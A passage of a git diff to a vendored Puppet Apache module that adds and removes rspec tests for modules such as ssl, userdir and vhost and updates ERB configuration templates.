'apache::mod::authnz_pam', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("libapache2-mod-authnz-pam") } + it { is_expected.to contain_apache__mod('authnz_pam') } + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("mod_authnz_pam") } + it { is_expected.to contain_apache__mod('authnz_pam') } + end # Redhat + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb b/modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb deleted file mode 100644 index 263b4cac6..000000000 --- a/modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb +++ /dev/null @@ -1,111 +0,0 @@ -require 'spec_helper' - -describe 'apache::mod::disk_cache', :type => :class do - let :pre_condition do - 'include apache' - end - context "on a Debian OS", :compile do - let :facts do - { - :id => 'root', - :kernel => 'Linux', - :lsbdistcodename => 'squeeze', - :osfamily => 'Debian', - :operatingsystem => 'Debian', - :operatingsystemrelease => '6', - :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', - :concat_basedir => '/dne', - :is_pe => false, - } - end - context "with Apache version < 2.4" do - let :params do - { - :apache_version => '2.2', - } - end - - it { is_expected.to contain_apache__mod("disk_cache") } - it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/apache2\/mod_disk_cache\"\nCacheDirLevels 2\nCacheDirLength 1/) } - end - context "with Apache version >= 2.4" do - let :params do - { - :apache_version => '2.4', - } - end - - it { is_expected.to contain_apache__mod("cache_disk") } - it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/apache2\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) } - end - end - - context "on a RedHat 6-based OS", :compile do - let :facts do - { - :id => 'root', - :kernel => 'Linux', - :osfamily => 'RedHat', - :operatingsystem => 'RedHat', - :operatingsystemrelease => '6', - :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', - :concat_basedir => '/dne', - :is_pe => false, - } - end - context "with Apache version < 2.4" do - let :params do - { - :apache_version => '2.2', - } - end - - it { is_expected.to contain_apache__mod("disk_cache") } - it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/httpd\/proxy\"\nCacheDirLevels 2\nCacheDirLength 1/) } - end - context "with Apache version >= 2.4" do - let :params do - { - :apache_version => '2.4', - } - end - - it { is_expected.to contain_apache__mod("cache_disk") } - it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/httpd\/proxy\"\nCacheDirLevels 2\nCacheDirLength 1/) } - end - end - context "on a FreeBSD OS", :compile do - let :facts do - { - :id => 'root', - :kernel => 'FreeBSD', - :osfamily => 'FreeBSD', - :operatingsystem => 'FreeBSD', - :operatingsystemrelease => '10', - :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', - :concat_basedir => '/dne', - :is_pe => false, - } - end - context "with Apache version < 2.4" do - let :params do - { - :apache_version => '2.2', - } - end - - it { is_expected.to contain_apache__mod("disk_cache") } - it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) } - end - context "with Apache version >= 2.4" do - let :params do - { - :apache_version => '2.4', - } - end - - it { is_expected.to contain_apache__mod("cache_disk") } - it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) } - end - end -end diff --git a/modules/services/unix/http/apache/spec/classes/mod/intercept_form_submit_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/intercept_form_submit_spec.rb new file mode 100644 index 000000000..14a91fcee --- /dev/null +++ b/modules/services/unix/http/apache/spec/classes/mod/intercept_form_submit_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' + +describe 'apache::mod::intercept_form_submit', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("libapache2-mod-intercept-form-submit") } + it { is_expected.to contain_apache__mod('intercept_form_submit') } + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("mod_intercept_form_submit") } + it { is_expected.to contain_apache__mod('intercept_form_submit') } + end # Redhat + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/lookup_identity.rb b/modules/services/unix/http/apache/spec/classes/mod/lookup_identity.rb new file mode 100644 index 000000000..a04e2e88e --- /dev/null +++ b/modules/services/unix/http/apache/spec/classes/mod/lookup_identity.rb @@ -0,0 +1,44 @@ +require 'spec_helper' + +describe 'apache::mod::lookup_identity', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("libapache2-mod-lookup-identity") } + it { is_expected.to contain_apache__mod('lookup_identity') } + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_package("mod_lookup_identity") } + it { is_expected.to contain_apache__mod('lookup_identity') } + end # Redhat + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb index 3f485b42a..200d45706 100644 --- a/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb +++ b/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb @@ -68,12 +68,6 @@ describe 'apache::mod::passenger', :type => :class do end it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerMaxRequests 20$/) } end - describe "with passenger_spawn_method => bogus" do - let :params do - { :passenger_spawn_method => 'bogus' } - end - it { is_expected.to raise_error(Puppet::Error, /not permitted for passenger_spawn_method/) } - end describe "with passenger_spawn_method => direct" do let :params do { :passenger_spawn_method => 'direct' } diff --git a/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb index 28b5e2642..e30f7214f 100644 --- a/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb +++ b/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb @@ -75,8 +75,15 @@ describe 'apache::mod::security', :type => :class do :target => '/tmp/foo/bar.conf', ) } end + describe 'with other modsec parameters' do + let :params do + { + :manage_security_crs => false + } + end + it { should_not contain_file('/etc/httpd/modsecurity.d/security_crs.conf') } + end end - context "on Debian based systems" do let :facts do { diff --git a/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb index 10badfa03..18816bbd9 100644 --- a/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb +++ b/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb @@ -18,30 +18,59 @@ describe 'apache::mod::ssl', :type => :class do it { expect { catalogue }.to raise_error(Puppet::Error, /Unsupported osfamily:/) } end - context 'on a RedHat OS' do - let :facts do - { - :osfamily => 'RedHat', - :operatingsystemrelease => '6', - :concat_basedir => '/dne', - :operatingsystem => 'RedHat', - :id => 'root', - :kernel => 'Linux', - :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', - :is_pe => false, - } - end - it { is_expected.to contain_class('apache::params') } - it { is_expected.to contain_apache__mod('ssl') } - it { is_expected.to contain_package('mod_ssl') } - context 'with a custom package_name parameter' do - let :params do - { :package_name => 'httpd24-mod_ssl' } + context 'on a RedHat' do + context '6 OS' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } end it { is_expected.to contain_class('apache::params') } it { is_expected.to contain_apache__mod('ssl') } - it { is_expected.to contain_package('httpd24-mod_ssl') } - it { is_expected.not_to contain_package('mod_ssl') } + it { is_expected.to contain_package('mod_ssl') } + it { is_expected.to contain_file('ssl.conf').with_path('/etc/httpd/conf.d/ssl.conf') } + context 'with a custom package_name parameter' do + let :params do + { :package_name => 'httpd24-mod_ssl' } + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.to contain_package('httpd24-mod_ssl') } + it { is_expected.not_to contain_package('mod_ssl') } + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/cache/mod_ssl/scache\(512000\)"$})} + end + end + context '7 OS with custom directories for PR#1635' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :pre_condition do + "class { 'apache': + confd_dir => '/etc/httpd/conf.puppet.d', + default_mods => false, + default_vhost => false, + mod_dir => '/etc/httpd/conf.modules.puppet.d', + vhost_dir => '/etc/httpd/conf.puppet.d', + }" + end + it { is_expected.to contain_package('mod_ssl') } + it { is_expected.to contain_file('ssl.conf').with_path('/etc/httpd/conf.puppet.d/ssl.conf') } end end @@ -96,6 +125,7 @@ describe 'apache::mod::ssl', :type => :class do end it { is_expected.to contain_class('apache::params') } it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/run/ssl_scache\(512000\)"$})} end context 'on a Suse OS' do @@ -113,6 +143,7 @@ describe 'apache::mod::ssl', :type => :class do end it { is_expected.to contain_class('apache::params') } it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/lib/apache2/ssl_scache\(512000\)"$})} end # Template config doesn't vary by distro context "on all distros" do @@ -133,6 +164,14 @@ describe 'apache::mod::ssl', :type => :class do it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLPassPhraseDialog builtin$/)} end + context 'setting ssl_ca to a path' do + let :params do + { + :ssl_ca => '/etc/pki/some/path/ca.crt', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLCACertificateFile/)} + end context "with Apache version < 2.4" do let :params do { @@ -234,5 +273,21 @@ describe 'apache::mod::ssl', :type => :class do end it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLMutex posixsem$})} end + context 'setting ssl_sessioncache' do + let :params do + { + :ssl_sessioncache => '/tmp/customsessioncache(51200)', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/tmp/customsessioncache\(51200\)"$})} + end + context 'setting ssl_proxy_protocol' do + let :params do + { + :ssl_proxy_protocol => [ '-ALL', '+TLSv1'], + } + end + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLProxyProtocol -ALL \+TLSv1$})} + end end end diff --git a/modules/services/unix/http/apache/spec/classes/mod/userdir_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/userdir_spec.rb new file mode 100644 index 000000000..9f23ba274 --- /dev/null +++ b/modules/services/unix/http/apache/spec/classes/mod/userdir_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' + +describe 'apache::mod::userdir', :type => :class do + context "on a Debian OS" do + let :pre_condition do + 'class { "apache": + default_mods => false, + mod_dir => "/tmp/junk", + }' + end + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "default parameters" do + it { should compile } + end + context "with dir set to something" do + let :params do + { + :dir => 'hi', + } + end + it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+/home/\*/hi$})} + end + context "with home set to something" do + let :params do + { + :home => '/u', + } + end + it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+/u/\*/public_html$})} + end + context "with path set to something" do + let :params do + { + :path => 'public_html /usr/web http://www.example.com/', + } + end + it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+public_html /usr/web http://www\.example\.com/$})} + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb index 1d54c5408..6261a9590 100644 --- a/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb +++ b/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb @@ -43,6 +43,12 @@ describe 'apache::mod::wsgi', :type => :class do } it { is_expected.to contain_package("mod_wsgi") } + describe "with WSGIRestrictEmbedded enabled" do + let :params do + { :wsgi_restrict_embedded => 'On' } + end + it {is_expected.to contain_file('wsgi.conf').with_content(/^ WSGIRestrictEmbedded On$/)} + end describe "with custom WSGISocketPrefix" do let :params do { :wsgi_socket_prefix => 'run/wsgi' } diff --git a/modules/services/unix/http/apache/spec/classes/service_spec.rb b/modules/services/unix/http/apache/spec/classes/service_spec.rb index f53937a7f..a065abc2f 100644 --- a/modules/services/unix/http/apache/spec/classes/service_spec.rb +++ b/modules/services/unix/http/apache/spec/classes/service_spec.rb @@ -53,22 +53,6 @@ describe 'apache::service', :type => :class do } end - context "$service_enable must be a bool" do - let (:params) {{ :service_enable => 'not-a-boolean' }} - - it 'should fail' do - expect { catalogue }.to raise_error(Puppet::Error, /is not a boolean/) - end - end - - context "$service_manage must be a bool" do - let (:params) {{ :service_manage => 'not-a-boolean' }} - - it 'should fail' do - expect { catalogue }.to raise_error(Puppet::Error, /is not a boolean/) - end - end - context "with $service_ensure => 'running'" do let (:params) {{ :service_ensure => 'running', }} it { is_expected.to contain_service("httpd").with( diff --git a/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb b/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb index 7d566b071..5f996fd6d 100644 --- a/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb +++ b/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb @@ -121,18 +121,5 @@ describe 'apache::custom_config', :type => :define do }.to raise_error(Puppet::Error, /One of \$content and \$source must be specified\./) end end - context 'bad ensure' do - let :params do - { - 'content' => 'foo', - 'ensure' => 'foo', - } - end - it do - expect { - catalogue - }.to raise_error(Puppet::Error, /is not supported for ensure/) - end - end end end diff --git a/modules/services/unix/http/apache/spec/defines/vhost_spec.rb b/modules/services/unix/http/apache/spec/defines/vhost_spec.rb index 3fd94bdef..bb447247b 100644 --- a/modules/services/unix/http/apache/spec/defines/vhost_spec.rb +++ b/modules/services/unix/http/apache/spec/defines/vhost_spec.rb @@ -245,6 +245,14 @@ describe 'apache::vhost', :type => :define do }, ], }, + { 'path' => '/var/www/files', + 'provider' => 'location', + 'limit_except' => [ + { 'methods' => 'GET HEAD', + 'require' => ['valid-user'] + }, + ], + }, { 'path' => '/var/www/dav', 'dav' => 'filesystem', 'dav_depth_infinity' => true, @@ -388,6 +396,7 @@ describe 'apache::vhost', :type => :define do 'passenger_app_env' => 'test', 'passenger_ruby' => '/usr/bin/ruby1.9.1', 'passenger_min_instances' => '1', + 'passenger_max_requests' => '1000', 'passenger_start_timeout' => '600', 'passenger_pre_start' => 'http://localhost/myapp', 'passenger_high_performance' => true, @@ -407,6 +416,7 @@ describe 'apache::vhost', :type => :define do 'krb_auth_realms' => ['EXAMPLE.ORG','EXAMPLE.NET'], 'krb_5keytab' => '/tmp/keytab5', 'krb_local_user_mapping' => 'off', + 'http_protocol_options' => 'Strict LenientMethods Allow0.9', 'keepalive' => 'on', 'keepalive_timeout' => '100', 'max_keepalive_requests' => '1000', @@ -524,6 +534,10 @@ describe 'apache::vhost', :type => :define do :content => /^\s+$/ ) } it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( :content => /\s+\s*Require valid-user\s*<\/Limit>/m ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /\s+\s*Require valid-user\s*<\/LimitExcept>/m ) } it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( :content => /^\s+Dav\sfilesystem$/ ) } it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( @@ -617,6 +631,8 @@ describe 'apache::vhost', :type => :define do :content => /^\s+KrbSaveCredentials\soff$/)} it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with( :content => /^\s+KrbVerifyKDC\son$/)} + it { is_expected.to contain_concat__fragment('rspec.example.com-http_protocol_options').with( + :content => /^\s*HttpProtocolOptions\s+Strict\s+LenientMethods\s+Allow0\.9$/)} it { is_expected.to contain_concat__fragment('rspec.example.com-keepalive_options').with( :content => /^\s+KeepAlive\son$/)} it { is_expected.to contain_concat__fragment('rspec.example.com-keepalive_options').with( @@ -659,6 +675,80 @@ describe 'apache::vhost', :type => :define do it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:80') } end + context 'vhost with multiple ports' do + let :params do + { + 'port' => ['80', '8080'], + 'ip' => '127.0.0.1', + 'ip_based' => true, + 'servername' => 'example.com', + 'docroot' => '/var/www/html', + 'add_listen' => true, + 'ensure' => 'present' + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with( + :content => /[.\/m]*[.\/m]*$/ ) } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:80') } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:8080') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:8080') } + end + + context 'vhost with multiple ip addresses, multiple ports' do + let :params do + { + 'port' => ['80', '8080'], + 'ip' => ['127.0.0.1','::1'], + 'ip_based' => true, + 'servername' => 'example.com', + 'docroot' => '/var/www/html', + 'add_listen' => true, + 'ensure' => 'present' + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.6.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with( + :content => /[.\/m]*[.\/m]*$/ ) } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:80') } + it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:8080') } + it { is_expected.to contain_concat__fragment('Listen [::1]:80') } + it { is_expected.to contain_concat__fragment('Listen [::1]:8080') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:8080') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:80') } + it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:8080') } + end + context 'vhost with ipv6 address' do let :params do { diff --git a/modules/services/unix/http/apache/spec/fixtures/site_apache/templates/fake.conf.erb b/modules/services/unix/http/apache/spec/fixtures/site_apache/templates/fake.conf.erb new file mode 100644 index 000000000..019debfe4 --- /dev/null +++ b/modules/services/unix/http/apache/spec/fixtures/site_apache/templates/fake.conf.erb @@ -0,0 +1 @@ +Fake template for rspec. diff --git a/modules/services/unix/http/apache/spec/spec.opts b/modules/services/unix/http/apache/spec/spec.opts deleted file mode 100644 index 91cd6427e..000000000 --- a/modules/services/unix/http/apache/spec/spec.opts +++ /dev/null @@ -1,6 +0,0 @@ ---format -s ---colour ---loadby -mtime ---backtrace diff --git a/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb b/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb index 5d93612af..c652104c2 100644 --- a/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb +++ b/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb @@ -1,8 +1,11 @@ require 'beaker-rspec/spec_helper' require 'beaker-rspec/helpers/serverspec' require 'beaker/puppet_install_helper' +require 'beaker/module_install_helper' run_puppet_install_helper +install_module_on(hosts) +install_module_dependencies_on(hosts) RSpec.configure do |c| c.filter_run :focus => true @@ -12,9 +15,6 @@ RSpec.configure do |c| c.filter_run_excluding :ipv6 => true end - # Project root - proj_root = File.expand_path(File.join(File.dirname(__FILE__), '..')) - # Readable test descriptions c.formatter = :documentation @@ -42,11 +42,6 @@ RSpec.configure do |c| # Install module and dependencies hosts.each do |host| - copy_module_to(host, :source => proj_root, :module_name => 'apache') - - on host, puppet('module','install','puppetlabs-stdlib') - on host, puppet('module','install','puppetlabs-concat') - # Required for mod_passenger tests. if fact('osfamily') == 'RedHat' on host, puppet('module','install','stahnma/epel') diff --git a/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb b/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb deleted file mode 100644 index b162127d0..000000000 --- a/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb +++ /dev/null @@ -1,69 +0,0 @@ -#! /usr/bin/env ruby -S rspec -require 'spec_helper' - -describe "the enclose_ipv6 function" do - let(:scope) { PuppetlabsSpec::PuppetInternals.scope } - - it "should exist" do - expect(Puppet::Parser::Functions.function("enclose_ipv6")).to eq("function_enclose_ipv6") - end - - it "should raise a ParseError if there is less than 1 arguments" do - expect { scope.function_enclose_ipv6([]) }.to( raise_error(Puppet::ParseError) ) - end - - it "should raise a ParseError if there is more than 1 arguments" do - expect { scope.function_enclose_ipv6(['argument1','argument2']) }.to( raise_error(Puppet::ParseError) ) - end - - it "should raise a ParseError when given garbage" do - expect { scope.function_enclose_ipv6(['garbage']) }.to( raise_error(Puppet::ParseError) ) - end - - it "should raise a ParseError when given something else than a string or an array" do - expect { scope.function_enclose_ipv6([['1' => '127.0.0.1']]) }.to( raise_error(Puppet::ParseError) ) - end - - it "should not raise a ParseError when given a single ip string" do - expect { scope.function_enclose_ipv6(['127.0.0.1']) }.to_not raise_error - end - - it "should not raise a ParseError when given * as ip string" do - expect { scope.function_enclose_ipv6(['*']) }.to_not raise_error - end - - it "should not raise a ParseError when given an array of ip strings" do - expect { scope.function_enclose_ipv6([['127.0.0.1','fe80::1']]) }.to_not raise_error - end - - it "should not raise a ParseError when given differently notations of ip addresses" do - expect { scope.function_enclose_ipv6([['127.0.0.1','fe80::1','[fe80::1]']]) }.to_not raise_error - end - - it "should raise a ParseError when given a wrong ipv4 address" do - expect { scope.function_enclose_ipv6(['127..0.0.1']) }.to( raise_error(Puppet::ParseError) ) - end - - it "should raise a ParseError when given a ipv4 address with square brackets" do - expect { scope.function_enclose_ipv6(['[127.0.0.1]']) }.to( raise_error(Puppet::ParseError) ) - end - - it "should raise a ParseError when given a wrong ipv6 address" do - expect { scope.function_enclose_ipv6(['fe80:::1']) }.to( raise_error(Puppet::ParseError) ) - end - - it "should embrace ipv6 adresses within an array of ip addresses" do - result = scope.function_enclose_ipv6([['127.0.0.1','fe80::1','[fe80::2]']]) - expect(result).to(eq(['127.0.0.1','[fe80::1]','[fe80::2]'])) - end - - it "should embrace a single ipv6 adresse" do - result = scope.function_enclose_ipv6(['fe80::1']) - expect(result).to(eq(['[fe80::1]'])) - end - - it "should not embrace a single ipv4 adresse" do - result = scope.function_enclose_ipv6(['127.0.0.1']) - expect(result).to(eq(['127.0.0.1'])) - end -end diff --git a/modules/services/unix/http/apache/templates/httpd.conf.erb b/modules/services/unix/http/apache/templates/httpd.conf.erb old mode 100644 new mode 100755 index 4445d75ff..d5b31c738 --- a/modules/services/unix/http/apache/templates/httpd.conf.erb +++ b/modules/services/unix/http/apache/templates/httpd.conf.erb @@ -11,6 +11,10 @@ KeepAlive <%= @keepalive %> MaxKeepAliveRequests <%= @max_keepalive_requests %> KeepAliveTimeout <%= @keepalive_timeout %> LimitRequestFieldSize <%= @limitreqfieldsize %> +# Actually >= 2.4.24, but the minor version is not provided +<%- if @http_protocol_options and scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> +HttpProtocolOptions <%= @http_protocol_options %> +<%- end -%> <%- if @rewrite_lock and scope.function_versioncmp([@apache_version, '2.2']) <= 0 -%> RewriteLock <%= @rewrite_lock %> @@ -20,7 +24,7 @@ User <%= @user %> Group <%= @group %> AccessFileName .htaccess - +> <%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> Require all denied <%- else -%> @@ -61,6 +65,9 @@ EnableSendfile <%= @sendfile %> <%- if @allow_encoded_slashes -%> AllowEncodedSlashes <%= @allow_encoded_slashes %> <%- end -%> +<%- if @file_e_tag -%> +FileETag <%= @file_e_tag %> +<%- end -%> #Listen 80 @@ -115,7 +122,7 @@ Include "<%= @vhost_load_dir %>/<%= @vhost_include_pattern %>" # /usr/share/apache2/error on debian Alias /error/ "<%= @error_documents_path %>/" -"> +> AllowOverride None Options IncludesNoExec AddOutputFilter Includes html diff --git a/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb b/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb index 8d73b239d..ed1334ec2 100644 --- a/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb +++ b/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb @@ -1,4 +1,4 @@ -<% if @_verify_server_cert == true -%> +<% if @verify_server_cert == true -%> LDAPVerifyServerCert On <% else -%> LDAPVerifyServerCert Off diff --git a/modules/services/unix/http/apache/templates/mod/cluster.conf.erb b/modules/services/unix/http/apache/templates/mod/cluster.conf.erb index 6a998a0e9..58229a88a 100644 --- a/modules/services/unix/http/apache/templates/mod/cluster.conf.erb +++ b/modules/services/unix/http/apache/templates/mod/cluster.conf.erb @@ -12,6 +12,9 @@ Listen <%= @ip %>:<%= @port %> ManagerBalancerName <%= @balancer_name %> ServerAdvertise <%= scope.function_bool2httpd([@server_advertise]) %> + <%- if @server_advertise == true and @advertise_frequency != nil -%> + AdvertiseFrequency <%= @advertise_frequency %> + <%- end -%> SetHandler mod_cluster-manager diff --git a/modules/services/unix/http/apache/templates/mod/php5.conf.erb b/modules/services/unix/http/apache/templates/mod/php5.conf.erb deleted file mode 100644 index 3fd100039..000000000 --- a/modules/services/unix/http/apache/templates/mod/php5.conf.erb +++ /dev/null @@ -1,31 +0,0 @@ -# -# PHP is an HTML-embedded scripting language which attempts to make it -# easy for developers to write dynamically generated webpages. -# -# -# LoadModule php5_module modules/libphp5.so -# -# -# # Use of the "ZTS" build with worker is experimental, and no shared -# # modules are supported. -# LoadModule php5_module modules/libphp5-zts.so -# - -# -# Cause the PHP interpreter to handle files with a .php extension. -# -)$"> - SetHandler php5-script - - -# -# Add index.php to the list of files that will be served as directory -# indexes. -# -DirectoryIndex index.php - -# -# Uncomment the following line to allow PHP to pretty-print .phps -# files as PHP source code: -# -#AddType application/x-httpd-php-source .phps diff --git a/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb b/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb index 